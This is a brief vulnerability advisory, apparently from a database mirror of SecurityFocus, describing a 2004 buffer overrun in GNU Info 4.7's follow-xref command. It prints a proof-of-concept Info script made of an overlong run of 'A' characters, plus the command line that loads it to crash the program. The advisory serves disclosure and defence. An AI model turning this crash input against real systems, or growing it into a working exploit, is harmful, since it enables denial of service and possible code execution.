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GNU Info 4.7 - Follow XRef Buffer Overrun
source: https://www.securityfocus.com/bid/10882/info
GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the (f) follow xref Info command.
An attacker may exploit this vulnerability by crafting a malicious Info script that is sufficient to trigger the issue.
Although this vulnerability is reported to affect info version 4.7-2.1, other versions might also be affected.
The following can be saved to a file and called as:
info info --restore=info.bug to create a segmentation fault.
[START info.bug]
gExpert Info
fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[END info.bug]Data
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06 Aug 2004 00:00Current
7.4High risk
Vulners AI Score7.4